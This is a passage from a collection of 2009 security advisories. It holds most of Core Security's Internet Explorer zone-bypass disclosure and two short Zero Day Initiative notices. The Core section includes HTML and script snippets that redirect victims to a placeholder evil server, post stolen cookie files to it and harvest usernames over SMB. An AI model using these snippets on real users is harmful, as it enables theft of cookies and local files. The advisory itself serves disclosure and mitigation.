the\r\nfunction 'FindMimeFromData' in 'URLMON.DLL'[5].\r\n\r\nIn the following section, proof of concept code is provided to\r\ndemonstrate the problem using the local storage used by Internet\r\nExplorer to store the user's browsing history to deliver HTML with\r\nscripting code and force IE to render it. This analysis is valid for any\r\nWindows NT based operating system but should be slightly modified to run\r\nunder Windows Vista. It takes advantage of the following features:\r\n\r\n 1. The IE user's browsing history is compounded of different files\r\nand folders. One of these files is named 'index.dat', and is usually\r\nlocated at: 'C:\Documents and settings\USERNAME\Local\r\nsettings\History\History.IE5\index.dat'. Although the format of this\r\nfile is not entirely text, IE will store every visited URL including any\r\nparameters in the query string in plain text.\r\n 2. Although the aforementioned folder cannot be directly browsed\r\nusing Windows Explorer or Internet Explorer, it can be browsed and\r\nviewed by referring to the same folder using the UNC notation:\r\n'\\[COMPUTERNAME|127.0.0.1]\C$\Documents and settings\USERNAME\Local\r\nsettings\History\History.IE5'.\r\n 3. There are some HTML tags which allow to embed contents from\r\nexternal files and treat them with a specific format disregarding the\r\nfile extension. For example, the HTML '<object/>' tag:\r\n\r\n/-----------\r\n\r\n<object data="index.dat" type="text/html" width="100%" height="50"></object>\r\n- -----------/\r\n\r\n It allows to set the MIME type (in the type attribute) of an externally\r\nreferenced file in the data attribute which will be loaded as an object.\r\n 4. Internet Explorer behaves in a slightly different way when\r\ndisplaying a page directly rather than displaying that page inside an\r\nHTML '<frame>' tag. For example, a page containing an HTML '<object>'\r\ntag like the one shown below will prompt the user to accept the download\r\nof file being referenced inside if loaded directly but it will be\r\nautomatically downloaded and rendered according to the specified MIME\r\ntype if the page is loaded inside an HTML '<frame>' tag.\r\n 5. Internet Explorer will determine the security zone of an UNC\r\naddress as belonging to:\r\n\r\n a. The *Internet Zone* if the path refers to the target using an\r\nIP address, for example '\\127.0.0.1'.\r\n b. The *Local Intranet Zone* if the path refers to the target\r\nusing a NetBIOS name, for example '\\COMPUTERNAME'.\r\n\r\n\r\n8.1. *Proof of Concept Code*\r\n\r\nThe following proof of concept code demonstrates that by enticing a user\r\nto do a single click on a malicious website it is possible to retrieve\r\nevery HTTP cookie from the unsuspecting victim user. The PoC uses\r\nVBScript to show the ability to steal sensitive information from any\r\nlocal files with either text or binary contents.\r\n\r\nThere are several steps involved in order to make the attack path clear.\r\nThe following diagram shows the files involved and the calling order.\r\nDetails concerning the relationship between these files will be\r\nexplained along the walkthrough:\r\n\r\n/-----------\r\n\r\nSee the figure in\r\nhttp://www.coresecurity.com/content/ie-security-zone-bypass\r\n\r\n- -----------/\r\n\r\n\r\nEverything starts when the victim user points her browser to the\r\nfollowing URL:\r\n\r\n/-----------\r\n\r\nhttp://[EVIL SERVER IP ADDRESS]/evilsite.htm\r\n- -----------/\r\n\r\n This page will trigger SMB requests against our evil server to extract\r\nthe victim's 'USERNAME'. The script named 'captureSMB.pl' running in the\r\nserver will be the one in charge of processing these requests to create\r\nthe 'index.dat.english.pl' file which will be used later to redirect the\r\nvictim's browser to the locally stored index.dat file.\r\n\r\nHowever, the main objective of this page is to set (when redirecting to\r\nthe next page) HTML code inside the victim's history index.dat file. The\r\nHTML source code to accomplish such tasks would look very much like the\r\nfollowing:\r\n\r\n/-----------\r\n\r\n<html>\r\n<head>\r\n<script>\r\nfunction redirectNow(){\r\n document.location = 'http://[EVIL SERVER IP ADDRESS]/setForm.htm\?[HTML\r\nCODE];\r\n }\r\n</script>\r\n</head>\r\n<body onload="javascript:redirectNow();">\r\n<img src="\\[EVIL SERVER IP ADDRESS]\thereisnosuchfile.gif">\r\n</body>\r\n</html>\r\n\r\n- -----------/\r\n\r\n\r\n\r\nIn turn, the next files in the redirecting chain ('setSecondScript.htm'\r\nand 'setFirstScript.htm' ) will also be used to accomplish the same\r\nsecond objective as the starting page. As stated before this will result\r\nin the victim's 'index.dat' history file storing the HTML code passed\r\ninside the query string in plaintext. The HTML code stored up to this\r\npoint would look like this:\r\n\r\n/-----------\r\n\r\n<form name='frmUpload' id='frmUpload' action='http://[EVIL SERVER IP\r\nADDRESS]/newcgi.pl' method='post' enctype='multipart/form-data'>\r\n<input type='hidden' name='data' id='data'>\r\n<input type='submit' value='Submit'>\r\n</form>\r\n<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/\r\nstealcookies.vbs'></script>\r\n<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/\r\nscripty.vbs'></script>\r\n\r\n- -----------/\r\n\r\n\r\n\r\nAt this point, the victim's browser will be served with\r\n'setFirstScript.htm'. This page will just redirect the browser to\r\nanother page ('frameset.htm'), which simply defines the frames where the\r\nlast page ('object.htm') referencing the 'index.dat' file will be loaded\r\ninto.\r\n\r\nThe HTML code used for loading the index.dat file and rendering it as\r\nHTML code is just a simple HTML '<object>' tag:\r\n\r\n/-----------\r\n\r\n<object data="index.dat.english.pl" type="text/html" width="100%"\r\nheight="50"></object>\r\n- -----------/\r\n\r\n\r\n\r\nAs can be seen, this is the file we generated in the first step based\r\nupon the actual 'USERNAME' we obtained. In turn, this file will just\r\nredirect the request to the victim's 'index.dat':\r\n\r\n/-----------\r\n\r\nStatus: 302 Found\r\nContent-type: text/html\r\nLocation:\r\nfile://[127.0.0.1|COMPUTERNAME]/C$/Documents%20and%20settings/USERNAME/Local%20settings/History/History.IE5/index.dat\r\n\r\n- -----------/\r\n\r\n This indirection level is required to avoid Internet Explorer from\r\nprompting the user to download the target file.\r\n\r\nIf loaded, the file will execute under the *Internet\r\n Zone* with the access rights of such zone but, given that the file\r\nis served from the local disk, with the ability to read any file in the\r\nlocal drive. However, success of the attack will depend on the ability\r\nto obtain or guess the right username as explained later.\r\n\r\nBy taking advantage of these sequence of actions, the script named\r\n'scripty.vbs' will read the victim's 'index.dat' located at\r\n'C:\Documents and settings\USERNAME\Cookies\' which indexes the whole\r\nset of HTTP cookie files managed by IE and send it back to the malicious\r\nserver using an HTML '<form>' we have set previously. At the server\r\nside, the PERL script named 'newCGI.pl' will:\r\n\r\n . process the received file, and store it in the server;\r\n . create the script named 'stealcookies.vbs' considering the cookies\r\nfilenames gathered from the stolen file;\r\n . redirect the victim's browser back to the 'framset.htm' page.\r\n\r\nThis time, when the victim's history 'index.dat' file is rendered again,\r\nthe script 'stealcookies.vbs' will be loaded. This script will read\r\nevery single cookie file the user has stored in the aforementioned\r\nInternet Explorer cookie's folder and will send the contents back to the\r\nserver using the same HTML '<form>' used before. On the server side the\r\none in charge of processing this data will be the Perl script named\r\n'newCGI.pl'. This time, it will:\r\n\r\n . Process the received file, and store it in the server under the\r\nname of 'stolen.txt';\r\n . Redirect the victim's browser back to this file.\r\n\r\n\r\n8.2. *Obtaining the right USERNAME*\r\n\r\nTo get the right username, we can take advantage of some other\r\nidiosyncrasies of Internet Explorer. If it is possible to make outbound\r\nSMB requests to an untrusted web server we can leverage that to include\r\ninside the main page some references to inexistent resources in our\r\nserver. The client will attempt to establish a SMB connection against it\r\nfrom where the 'USERNAME' could be obtained as well as some other useful\r\ndata such as the 'COMPUTERNAME' or the ciphered challenge/response.\r\n\r\nOur proof of concept contemplates 2 possibilities:\r\n\r\n 1. The victim's machine is able to establish a connection to the port\r\n445 (NetBIOS over TCP/IP) on the malicious server in which case the\r\ncorrect 'USERNAME' can be obtained to build the right UNC path to the\r\n'index.dat' file:\r\n\r\n/-----------\r\n\r\n\\127.0.0.1\C$\Documents and settings\USERNAME\Local\r\nsettings\History\History.IE5\index.dat\r\n- -----------/\r\n\r\n\r\n 2. The port 445 is not allowed for outbound connections in which case\r\nthe code will simple try to guess the right username using common names\r\nsuch as Administrator to build an UNC path like the following:\r\n\r\n/-----------\r\n\r\n\\127.0.0.1\C$\Documents and settings\Administrator\Local\r\nsettings\History\History.IE5\index.dat\r\n- -----------/\r\n\r\n\r\n\r\n In both cases, the file will be rendered as belonging to the *Internet\r\nZone*.\r\n\r\n\r\n8.3. *Proof of Concept Files*\r\n\r\nThe Proof of Concept can be downloaded from\r\nhttp://www.coresecurity.com/files/attachments/PoC-CORE-2008-0826.zip.\r\nThis would be a package with the following files:\r\n\r\n . 'evilsite.htm': The main page, which shots the SMB requests and\r\nredirects to 'setForm.htm' passing, as part of the query string, HTML\r\ncode to be set in the history 'index.dat' file.\r\n . 'setForm.htm': This page acts as a bridge (receives the evil\r\nscripting code as a query string parameter) and redirects to\r\n'setSecondScript.htm' passing HTML code to be set in the history\r\n'index.dat' file.\r\n . 'setSecondScript.htm': This page acts as a bridge (receives the\r\nevil scripting code as a query string parameter) and redirects to\r\n'setFirstScript.htm' passing HTML code to be set in the history\r\n'index.dat' file.\r\n . 'setFirstScript.htm': This page acts as a bridge (receives the evil\r\nscripting code as a query string parameter) and just redirects to\r\n'frameset.htm'.\r\n . 'frameset.htm': This page defines the frames where the page trying\r\nto access the 'index.dat' file will be loaded into.\r\n . 'stealCookies.htm': Same as frameset.htm, this page defines the\r\nframes where the page trying to access the 'index.dat' file will be\r\nloaded into.\r\n . 'object.htm': The page to be loaded in 'frameset.htm'. It covers\r\nthe test cases 1 and 2 explained above in this document.\r\n . 'captureSMB.pl': This script must be running in the example server.\r\nIt will be listening for SMB requests, and when they occur, will create\r\na pair of 'index.dat.[LANG].pl' files, attempting to cover a couple of\r\nWindows OS languages.\r\n . 'newCGI.pl': This file will handle the files received from\r\nscritpy.vbs, generate the script named 'stealcookies.vbs' and, in a\r\nsubsequent call, will receive and store the stolen cookies.\r\n . 'scripty.vbs': A script file loaded by the HTML code written in the\r\n'index.dat' file. It will send the victim's cookies 'index.dat' file\r\nback to the server.\r\n . 'index.dat.english.default.pl': A redirect to the file assuming the\r\nuser Administrator under an English language Windows version.\r\n . 'index.dat.spanish.default.pl': A redirect to the file assuming the\r\nuser Administrador under a Spanish language Windows version.\r\n\r\n\r\n9. *Report Timeline*\r\n\r\n. 2008-10-08:\r\nCore Security Technologies notifies the Microsoft Security Response\r\nCenter (MSRC) that a vulnerability has been found in Internet Explorer\r\n(IE). Core sends a draft security advisory with technical details and\r\nPoC files and announces its initial plan to publish the advisory on\r\nDecember 1st, 2008.\r\n\r\n. 2008-10-09:\r\nThe MSRC acknowledges notification.\r\n\r\n. 2008-10-09:\r\nMSRC states that it is currently investigating the reported issue.\r\n\r\n. 2008-10-14:\r\nMSRC announces the investigation was completed. The flaw can be\r\nreproduced by the vendor and it is considered a bulletin class issue.\r\n\r\n. 2008-10-14:\r\nMSRC announces that the vendor will not be able to hit a December\r\nrelease date due to the mandatory quality test cycle required for IE\r\nupdates.\r\n\r\n. 2008-10-16:\r\nCore asks MSRC for an estimated date to fix these issues.\r\n\r\n. 2008-11-04:\r\nCore requests an answer to the previous mail and also details about:\r\n\r\n 1. the root cause of the problem,\r\n 2. the list of affected platforms, and\r\n 3. the severity rating Microsoft has assigned to the bug.\r\n\r\n. 2008-11-05:\r\nMSRC responds that patches to IE ship every two months and the next\r\navailable ship date will be February 10th. The case is currently rated\r\nas an Important class Information Disclosure vulnerability. Vendor\r\nprovides a list of affected components and platforms. The MSRC was able\r\nto reproduce this issue on all IE versions with the following\r\nexceptions: IE7 and IE8 in Windows Vista when Protected Mode is ON. In\r\nspite of that MSRC does not include IE8 in list of affected components\r\nbecause it is still a beta product.\r\n\r\n. 2009-01-08:\r\nCore asks MSRC if it is still on track to release patches on February\r\n10th, 2009.\r\n\r\n. 2009-01-09:\r\nMSRC responds that the out-of-band fix released in December [6] took a\r\nlot of the resources that were assigned to February's release schedule\r\nand will not be able to meet the February release date. MSRC informs the\r\nnext available release date would be April 14th, 2009.\r\n\r\n. 2009-03-23:\r\nCore asks MSRC if it is still on track to release fixed versions on\r\nApril 14th.\r\n\r\n. 2009-03-26:\r\nMSRC responds the product team addressed this issue in IE8 [7] with the\r\nplan to port that code fix down-level (IE7, IE6 and IE5). In order to\r\naccomplish these fixes in the previous IE versions, MSRC informs Core\r\nthe first available scheduled release in the future will be in June, 2009.\r\n\r\n. 2009-03-26:\r\nCore indicates that the previous email from MSRC is quite confusing. It\r\nseems to indicate that the vulnerability is already fixed in IE8 whereas\r\nat the time of the original report IE8 was still a beta product and\r\nthere was not any communication from MSRC indicating whether the problem\r\nwas going to be fixed nor a tentative date for such fix. Core asks MSRC\r\nto confirm that the vulnerability was indeed fixed in the released\r\nversion of IE8 while two consecutive tentative released date for patches\r\nto the officially confirmed vulnerable versions IE5 to IE7 have been\r\nmissed. In the case of such confirmation Core also asks clarification\r\nabout Microsoft's previously stated policy of releasing fixes for all\r\nvulnerable versions at the same time as indicated in the emails\r\nexchanged during the reporting process of a IE vulnerability closely\r\nrelated to this one that Microsoft catalogued as an Outlook\r\nExpress/Windows Mail bug [8]. Core indicates that it considers that an\r\n8-month release cycle is well beyond the reasonable time frame to issue\r\nfixes for a bug that it considered rooted at the same cause of a\r\npreviously reported one, for which differences in its technical analysis\r\nwere not resolved because Microsoft repeatedly ignored request for a\r\ntechnical root cause analysis. Therefore, pending answers to the above\r\nquestions and specific technical details about the root cause of the\r\nproblem and when, how and which platforms have the bug fixed Core will\r\nproceed with publication on April 14th as previously agreed. In the\r\nmeantime Core will further investigate the issue in order to provide\r\ncustomers, ISVs and the security community all the necessary information\r\nto assess their risk and independently devise fixes, workarounds or\r\nmitigations.\r\n\r\n. 2009-04-08:\r\nCore requests an answer to the previous mail. Core is on track to\r\npublish the security advisory and would like confirmation that the\r\nreleased version of IE8 fixed the bug.\r\n\r\n. 2009-04-08:\r\nMSRC notifies Core that the reason why IE8 did ship with this fix ahead\r\nof the down-level versions was because IE8 was already in-development\r\nand it was safer and cleaner to check in this fix into the existing\r\ndevelopment cycle of IE8. MSRC also confirms that the bug is fixed in\r\nthe currently released version of IE8 and it is currently being\r\nback-ported to the down-level versions of IE. MSRC indicates that it\r\ndoes not document security fix changed in the latest products if the\r\nvulnerability continues to exist in down-level support platforms which\r\nhelps Microsoft to "not zero-day the down-level platforms" and gives the\r\nopportunity to provide updates for them. MSRC states that the vendor is\r\ncurrently in the path to release the update in June and would appreciate\r\nit if it could coordinate the release of Core's advisory on that same time.\r\n\r\n. 2009-04-13:\r\nCore notifies that probably the advisory will be released in a week\r\nalthough the final decision has not been made yet and that a vendor\r\nstatement and workarounds would be highly appreciated. Core is working\r\non the final version of the advisory and would like to improve the\r\nworkaround and mitigation sections, for that purpose it is requesting\r\nassistance from the vendor. Core asks MSRC for mitigation and\r\nworkarounds for users not running IE8. It also notifies that upon\r\nfurther research it found a variation of the original attack that may\r\nstill compromise the original release of IE8. Other versions of IE8\r\n(with the same version and build number) do not seem to be vulnerable to\r\nthe attack variation. The 'non-vulnerable' instance of IE8 tested was\r\npatched by Windows auto-update in or around April 7th. Core asks MSRC to\r\nconfirm whether the original IE8 release was vulnerable to bug and the\r\nbug later silently fixed by an update shipped through Windows auto-update.\r\n\r\n. 2009-04-14:\r\nMSRC asks Core more details about the version of IE8 that was\r\nsuccessfully compromised by a variation of the original attack. The MSRC\r\nnotifies the original attack was addressed in the RC1 version of IE8 and\r\nwants to make sure there is not an issue with the fix.\r\n\r\n. 2009-04-14:\r\nMSRC indicates that received verification from the product team that\r\nProtected Mode ON for the Internet Zone does block the attack in IE7.\r\nThe vendor states that it is currently investigating the IE8 specific\r\nmitigations. With regards to IE8 the product team included the fix in RC\r\nof IE8 which was released in January and it is unsure about the\r\ndifferences between vulnerable and non-vulnerable instances of IE8. The\r\nproduct team is still working on the fixes for the next release but MSRC\r\nwould like to make private binaries available for testing in the event\r\nthat Core postpones publication of the advisory. MSRC offers to setup a\r\nconference call to discuss some of the challenges of fixing this bug and\r\nwhy it required in-depth investigation.\r\n\r\n. 2009-04-16:\r\nCore Security and the Secure Windows Initiative (SWI) discuss this issue\r\nin a conference call. The vendor states that it will obtain a list of\r\nnon-security updates released for IE8 post RTM and obtain a similar list\r\nfor Office and Windows since April 1st. The goal is to understand\r\nwhether a non-security update has fixed a security bug. The vendor will\r\nalso provide the technical description and the private fixed bits for\r\nthis specific issue when available. Core is going to provide (in the\r\nnext couple of days) the version of the IE8 that seems to be affected by\r\nthis issue, and the modified PoC that was used to reproduce the problem\r\non IE8. Core will inform MSRC of publishing date for the corresponding\r\nsecurity advisory when the decision is made.\r\n\r\n. 2009-04-17:\r\nCore sends technical details, the list of fixes installed on vulnerable\r\nand non-vulnerable systems and modified Proof of Concept that works on\r\ncertain versions of IE8 RTM and does not on others. In both cases the\r\nversion and build number are exactly the same. Core have also found\r\nthat, although the PoC sent to MSRC in the original report does not work\r\non IE8 RTM, a variation of it continues to work in certain cases.\r\nBasically, it seems that IE8 RTM prevented code from being executed from\r\n'index.dat' mapped anywhere lower than an 0x4000 offset but if the\r\noffending code is above 0x4000 and not from 'index.dat' it can still be\r\nexecuted.\r\n\r\n. 2009-04-17:\r\nMSRC notifies there were two updates released at the end of March. One\r\nwas a Compatibility View List [9] and the second was an SPAD fix [10]\r\nthat affects Vista X64 only. Vendor also notifies they are going to\r\ninvestigate whether this might have impacted the original attack vector.\r\nThe technical analysis of the problem determined that the HTML engine\r\nchecks the mime type for file it cannot handle and if there is not a\r\nmatch MIME sniffing is performed without a predetermined hint, unknown\r\nfiles are treated as HTML due to the redirection and in absence of a\r\nspecific content-type MIME-sniffing will end up defaulting to text/html.\r\n\r\n. 2009-04-22:\r\nMSRC sends patched binaries for Vista/IE7. These binaries are the fix\r\nfor the first issue submitted by Core and do not fix the second PoC sent\r\nby Core the previous week. MSRT also provides some workarounds for the\r\nfirst PoC reported. The IE team has investigated the additional PoC and\r\nhas determined that while functionally it appears the same as the\r\noriginal issue submitted, when debugged the actions taken by the system\r\nare controlled by different functions, and this difference is\r\nsignificant enough to perform further investigation. The vendor asks to\r\nre-schedules the advisory publication date to June 2009.\r\n\r\n. 2009-04-22:\r\nMSRC asks additional details about the attack vectors discussed between\r\nCore and the Secure Windows Initiative (SWI) in the last conference call\r\n(16th, April). MSRC indicates that it has identified two workarounds for\r\nthe original issue: Disabling scripting (which is default for Enhanced\r\nSecurity Configuration on Windows 2003 and Windows Server 2008) and\r\ndisabling "Run ActiveX Controls and plugins". The IE team has\r\ninvestigated the second PoC and determined that the functionality\r\nappears the same but when debugged the actions performed by the system\r\nare different. The differences are considered significant enough to\r\nperform further investigation. MSRC proposes to release the fix for the\r\nissue originally reported in June and to continue investigation on the\r\nsecond PoC afterwards.\r\n\r\n. 2009-04-23:\r\nCore responds that, according to the technical information provided by\r\nthe IE team it appears that the problem could be exploitable with *any*\r\nlocal file loaded through a redirection and thus defaulting to text/html\r\nthat is not explicitly known by the HTML engine (Trident) and for which\r\nIE would end up defaulting to html as hinted. The mention of specific\r\nfiles during the conference call was just as an example of a potential\r\nvector but not a confirmed exploitation method that was explicitly\r\ndiscussed.\r\n Core also notifies the advisory publication will be delayed at least\r\nuntil next Wednesday (April 28th) since it appears that the bug was not\r\nactually fixed properly in IE8 and that new information has been provided.\r\n\r\n. 2009-04-23:\r\nCore also suggests some mitigation actions to prevent the exploitation\r\nof this flaw. For example, by explicitly constraining 'file://127.0.0.1'\r\nto a given zone (i.e. Intranet) and then disabling "Websites in less\r\nprivileged web content zone can navigate into this zone" for that zone.\r\n\r\n. 2009-04-24:\r\nMSRC notifies that it would be possible to bypass the suggested\r\nworkaround if a malicious site had its domain name resolve to 127.0.0.1\r\nsince Zone determination does not depend on name resolution.\r\n\r\n. 2009-04-24:\r\nCore suggests other possible workarounds that involve explicitly setting\r\nthe two UNC forms of targeting the localhost IP addressing the Internet\r\nZone and setting the security level to High which seems to be in line\r\nwith the suggestions from Microsoft's knowledgebase article about the IE\r\nEnhanced Security Configuration and asks for additional technical\r\ndetails to clarify the last email from MSRC. Core asks for clarification\r\nabout the zone determination algorithm.\r\n\r\n. 2009-04-24:\r\nMSRC provides further technical analysis, and notifies that some of the\r\nproposed workarounds would work on all affected versions of IE.\r\n\r\n. 2009-04-28:\r\nThe vendor asks to re-schedule the advisory publication date for a\r\ncoordinated release during the regular June bulletin release cycle.\r\n\r\n. 2009-05-04:\r\nCore responds that it decided to set the publication date for the\r\nsecurity advisory to Tuesday June 9th, 2009. This will give MSFT the\r\nopportunity to ship an official patch for all vulnerable versions of IE\r\nin the next available patch release cycle. Core also notifies this date\r\nis final and that in absence of an official fix Core will nonetheless\r\npublish the security advisory with all the technical details and\r\ninformation necessary for third parties to understand the risk and\r\nfigure out and apply workarounds or mitigating measures.\r\n\r\n. 2009-05-06:\r\nMSRC indicates that it would like to set up a conference call to clarify\r\nthe concerns about workarounds and to discuss additional possible\r\nmitigation actions.\r\n\r\n. 2009-05-26:\r\nCore ask for the status of the fix and whether it is on schedule for the\r\nJune 9th release, responds that it prefers to keep the communication\r\nprocess properly documented by e-mail but notifies that a conference\r\ncall would be possible if the vendor feels that it is absolutely\r\nnecessary or the best way to discuss workarounds and mitigation actions.\r\n\r\n. 2009-05-28:\r\nMSRC notifies the fix for the issue submitted in October 2008 is on\r\ntrack to be released on the second Tuesday in June 2009. Vendor is still\r\ndetermining the best way to address the additional PoC provided for IE8,\r\nand MSRC asks for a conference call to clarify some confusion of the\r\nproposed workarounds and mitigations.\r\n\r\n. 2009-06-01:\r\nCore notifies the possible timeslot for setting up a conference call\r\nwith MSRT would be June 2nd or June 4th. Core also asks if the vendor is\r\nconsidering the second PoC as a separate vulnerabilities or just\r\nvariations on how to exploit the same bug.\r\n\r\n. 2009-06-01:\r\nMSRC suggests setting up the conference call on June 4th. The vendor\r\nalso notifies that during the investigation of the 2nd PoC, when\r\ndebugged, the system actions are controlled by different functions and\r\nthe difference is significant enough to address the 2nd PoC as a whole.\r\n\r\n. 2009-06-02:\r\nCore responds it would be available for a conference on June 4th.\r\nConference call set scheduled.\r\n\r\n. 2009-06-04:\r\nConference call attended by MSRC, IE team member, Core security\r\nadvisories team and vulnerability researchers.\r\n\r\n. 2009-06-04:\r\nCore sends MSRC notes taken during the conference call. Actions items:\r\n\r\n . MSRC to provide workaround and mitigations and to follow-up on\r\nissues demonstrated by the second PoC.\r\n . Core to further investigate workarounds and mitigations and to\r\nprovide MSRC the final draft of the advisory before publication (by\r\nMonday).\r\n\r\n. 2009-06-04:\r\nMSRC sends notes of the conference call. Official workarounds and\r\nmitigating factors to be included in the Security Bulletin and link the\r\nSecurity Research and Defense blog with additional information.\r\n\r\n. 2009-06-04:\r\nCore suggests the use of the Protocol Lockdown feature control as\r\npossible workaround.\r\n\r\n. 2009-06-05:\r\nMSRC confirms that Protocol Lockdown is a feasible workaround. Details\r\nwill be included in the Security Research and Defense blog.\r\n\r\n. 2009-06-09:\r\nFinal draft of the advisory sent to MSRC.\r\n\r\n. 2009-06-09:\r\nCore Security Advisory CORE-2008-0826 published.\r\n\r\n\r\n10. *References*\r\n\r\n[1] http://www.techzoom.net/publications/insecurity-iceberg/index.en\r\n[2] http://msdn2.microsoft.com/en-us/library/ms537183.aspx.\r\n[3]\r\nhttp://blogs.technet.com/srd/archive/2009/06/09/cve-2009-1140-benefits-of-ie-protected-mode-additional-network-protocol-lockdown-workaround.aspx\r\n[4] http://msdn.microsoft.com/en-us/library/ms775147(VS.85).aspx\r\n[5] http://msdn.microsoft.com/en-us/library/ms775107(VS.85).aspx\r\n[6] http://www.microsoft.com/technet/security/bulletin/ms08-dec.mspx.\r\n[7] Internet Explorer 8.0 was officially released at this time leaving\r\nthe 'beta stage'.\r\nhttp://www.microsoft.com/windows/internet-explorer/default.aspx.\r\n[8] http://www.coresecurity.com/content/internet-explorer-zone-elevation\r\n[9] Compatibility View KB968220 -\r\nhttp://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=008753cc-2882-400c-a45d-587c870b8c0d\r\nand http://support.microsoft.com/?kbid=968220.\r\n[10] SPAD link - http://support.microsoft.com/kb/969058.\r\n\r\n\r\n11. *About CoreLabs*\r\n\r\nCoreLabs, the research center of Core Security Technologies, is charged\r\nwith anticipating the future needs and requirements for information\r\nsecurity technologies. We conduct our research in several important\r\nareas of computer security including system vulnerabilities, cyber\r\nattack planning and simulation, source code auditing, and cryptography.\r\nOur results include problem formalization, identification of\r\nvulnerabilities, novel solutions and prototypes for new technologies.\r\nCoreLabs regularly publishes security advisories, technical papers,\r\nproject information and shared software tools for public use at:\r\nhttp://www.coresecurity.com/corelabs.\r\n\r\n\r\n12. *About Core Security Technologies*\r\n\r\nCore Security Technologies develops strategic solutions that help\r\nsecurity-conscious organizations worldwide develop and maintain a\r\nproactive process for securing their networks. The company's flagship\r\nproduct, CORE IMPACT, is the most comprehensive product for performing\r\nenterprise security assurance testing. CORE IMPACT evaluates network,\r\nendpoint and end-user vulnerabilities and identifies what resources are\r\nexposed. It enables organizations to determine if current security\r\ninvestments are detecting and preventing attacks. Core Security\r\nTechnologies augments its leading technology solution with world-class\r\nsecurity consulting services, including penetration testing and software\r\nsecurity auditing. Based in Boston, MA and Buenos Aires, Argentina, Core\r\nSecurity Technologies can be reached at 617-399-6980 or on the Web at\r\nhttp://www.coresecurity.com.\r\n\r\n\r\n13. *Disclaimer*\r\n\r\nThe contents of this advisory are copyright (c) 2009 Core Security\r\nTechnologies and (c) 2009 CoreLabs, and may be distributed freely\r\nprovided that no fee is charged for this distribution and proper credit\r\nis given.\r\n\r\n\r\n14. *PGP/GPG Keys*\r\n\r\nThis advisory has been signed with the GPG key of Core Security\r\nTechnologies advisories team, which is available for download at\r\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc.\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.7 (MingW32)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org\r\n\r\niD8DBQFKLtOEyNibggitWa0RAvvyAKCI46nwvU9vnduhVXILQxTdjDvS5QCfeT4Z\r\nVVaWDRlQgd4vAFGQO+I4HW0=\r\n=KI4M\r\n-----END PGP SIGNATURE-----", "edition": 1, "modified": "2009-06-11T00:00:00", "published": "2009-06-11T00:00:00", "id": "SECURITYVULNS:DOC:21991", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21991", "title": "CORE-2008-0826 - Internet Explorer Security Zone restrictions bypass", "type": "securityvulns", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:NONE/A:NONE/"}}, {"lastseen": "2018-08-31T11:10:30", "bulletinFamily": "software", "cvelist": ["CVE-2009-1532"], "description": "ZDI-09-041: Microsoft Internet Explorer 8 Rows Property Dangling Pointer\r\nCode Execution Vulnerability\r\nhttp://www.zerodayinitiative.com/advisories/ZDI-09-041\r\nJune 10, 2009\r\n\r\n-- CVE ID:\r\nCVE-2009-1532\r\n\r\n-- Affected Vendors:\r\nMicrosoft\r\n\r\n-- Affected Products:\r\nMicrosoft Internet Explorer\r\n\r\n-- Vulnerability Details:\r\nThis vulnerability allows remote attackers to execute arbitrary code on\r\nvulnerable installations of Microsoft Internet Explorer 8. User\r\ninteraction is required to exploit this vulnerability in that the target\r\nmust visit a malicious page.\r\n\r\nThe specific flaw exists during the rendering of an HTML page with\r\nmalformed row property references, resulting in a dangling pointer which\r\ncan be abused to execute arbitrary code. Internet Explorer 7 is not\r\naffected.\r\n\r\n-- Vendor Response:\r\nMicrosoft has issued an update to correct this vulnerability. More\r\ndetails can be found at:\r\n\r\nhttp://www.microsoft.com/technet/security/bulletin/MS09-019.mspx\r\n\r\n-- Disclosure Timeline:\r\n2009-03-19 - Vulnerability reported to vendor\r\n2009-06-10 - Coordinated public release of advisory\r\n\r\n-- Credit:\r\nThis vulnerability was discovered by:\r\n * Nils\r\n\r\n-- About the Zero Day Initiative (ZDI):\r\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents\r\na best-of-breed model for rewarding security researchers for responsibly\r\ndisclosing discovered vulnerabilities.\r\n\r\nResearchers interested in getting paid for their security research\r\nthrough the ZDI can find more information and sign-up at:\r\n\r\n http://www.zerodayinitiative.com\r\n\r\nThe ZDI is unique in how the acquired vulnerability information is\r\nused. TippingPoint does not re-sell the vulnerability details or any\r\nexploit code. Instead, upon notifying the affected product vendor,\r\nTippingPoint provides its customers with zero day protection through\r\nits intrusion prevention technology. Explicit details regarding the\r\nspecifics of the vulnerability are not exposed to any parties until\r\nan official vendor patch is publicly available. Furthermore, with the\r\naltruistic aim of helping to secure a broader user base, TippingPoint\r\nprovides this vulnerability information confidentially to security\r\nvendors (including competitors) who have a vulnerability protection or\r\nmitigation product.\r\n\r\nOur vulnerability disclosure policy is available online at:\r\n\r\n http://www.zerodayinitiative.com/advisories/disclosure_policy/", "edition": 1, "modified": "2009-06-11T00:00:00", "published": "2009-06-11T00:00:00", "id": "SECURITYVULNS:DOC:21986", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21986", "title": "ZDI-09-041: Microsoft Internet Explorer 8 Rows Property Dangling Pointer Code Execution Vulnerability", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:30", "bulletinFamily": "software", "cvelist": ["CVE-2009-1530"], "description": "ZDI-09-038: Microsoft Internet Explorer Event Handler Memory Corruption\r\nVulnerability\r\nhttp://www.zerodayinitiative.com/advisories/ZDI-09-038\r\nJune 10, 2009\r\n\r\n-- CVE ID:\r\nCVE-2009-1530\r\n\r\n-- Affected Vendors:\r\nMicrosoft\r\n\r\n-- Affected Products:\r\nMicrosoft Internet Explorer\r\n\r\n-- Vulnerability Details:\r\nThis vulnerability allows remote attackers to execute arbitrary code on\r\nvulnerable installations of Microsoft Internet Explorer. User\r\ninteraction is required to exploit this vulnerability in that the target\r\nmust visit a malicious page.\r\n\r\nThe specific flaw exists when repeatedly calling event handlers after\r\nadding nodes of an HTML document. When a specially crafted webpage is\r\nrepeatedly rendered, memory is improperly reused after it has been\r\nfreed. 